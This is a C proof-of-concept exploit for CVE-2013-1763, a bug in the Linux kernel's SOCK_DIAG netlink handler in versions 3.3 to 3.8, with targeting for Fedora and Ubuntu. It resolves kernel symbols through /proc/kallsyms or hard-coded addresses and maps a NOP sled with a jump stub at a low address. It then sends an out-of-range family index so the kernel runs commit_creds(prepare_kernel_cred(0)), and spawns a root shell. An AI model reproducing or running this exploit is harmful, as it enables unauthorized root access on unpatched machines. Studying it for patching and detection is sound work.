/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
kernel_code()
{
 commit_creds(prepare_kernel_cred(0));
 return -1;
}

int jump_payload_not_used(void *skb, void *nlh)
{
 asm volatile (
  "mov $kernel_code, %eax\n"
  "call *%eax\n"
 );
}

unsigned long
get_symbol(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy, sym[512];
 int ret = 0;
 
 f = fopen("/proc/kallsyms", "r");
 if (!f) {
  return 0;
 }
 
 while (ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
  if (ret == 0) {
   fscanf(f, "%s\n", sym);
   continue;
  }
  if (!strcmp(name, sym)) {
   printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
   fclose(f);
   return addr;
  }
 }
 fclose(f);
 
 return 0;
}

int main(int argc, char*argv[])
{
 int fd;
 unsigned family;
 struct {
  struct nlmsghdr nlh;
  struct unix_diag_req r;
 } req;
 char buf[8192];

 if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
  printf("Can't create sock diag socket\n");
  return -1;
 }

 memset(&req, 0, sizeof(req));
 req.nlh.nlmsg_len = sizeof(req);
 req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
 req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
 req.nlh.nlmsg_seq = 123456;

 //req.r.sdiag_family = 89;
 req.r.udiag_states = -1;
 req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

 if(argc==1){
  printf("Run: %s Fedora|Ubuntu\n",argv[0]);
  return 0;
 }
 else if(strcmp(argv[1],"Fedora")==0){
   commit_creds = (_commit_creds) get_symbol("commit_creds");
   prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
   sock_diag_handlers = get_symbol("sock_diag_handlers");
   nl_table = get_symbol("nl_table");
  
   if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
  printf("some symbols are not available!\n");
  exit(1);
  }

   family = (nl_table - sock_diag_handlers) / 4;
   printf("family=%d\n",family);
   req.r.sdiag_family = family;
  
   if(family>255){
  printf("nl_table is too far!\n");
  exit(1);
  }
 }
 else if(strcmp(argv[1],"Ubuntu")==0){
   commit_creds = (_commit_creds) 0xc106bc60;
   prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
   req.r.sdiag_family = 81;
 }

 unsigned long mmap_start, mmap_size;
 mmap_start = 0x10000;
 mmap_size = 0x120000;
 printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
 memset((void*)mmap_start, 0x90, mmap_size);

 char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
 unsigned long *asd = &jump[4];
 *asd = (unsigned long)kernel_code;

 memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

 if ( send(fd, &req, sizeof(req), 0) < 0) {
  printf("bad send\n");
  close(fd);
  return -1;
 }

 printf("uid=%d, euid=%d\n",getuid(), geteuid() );

 if(!getuid())
  system("/bin/sh");

}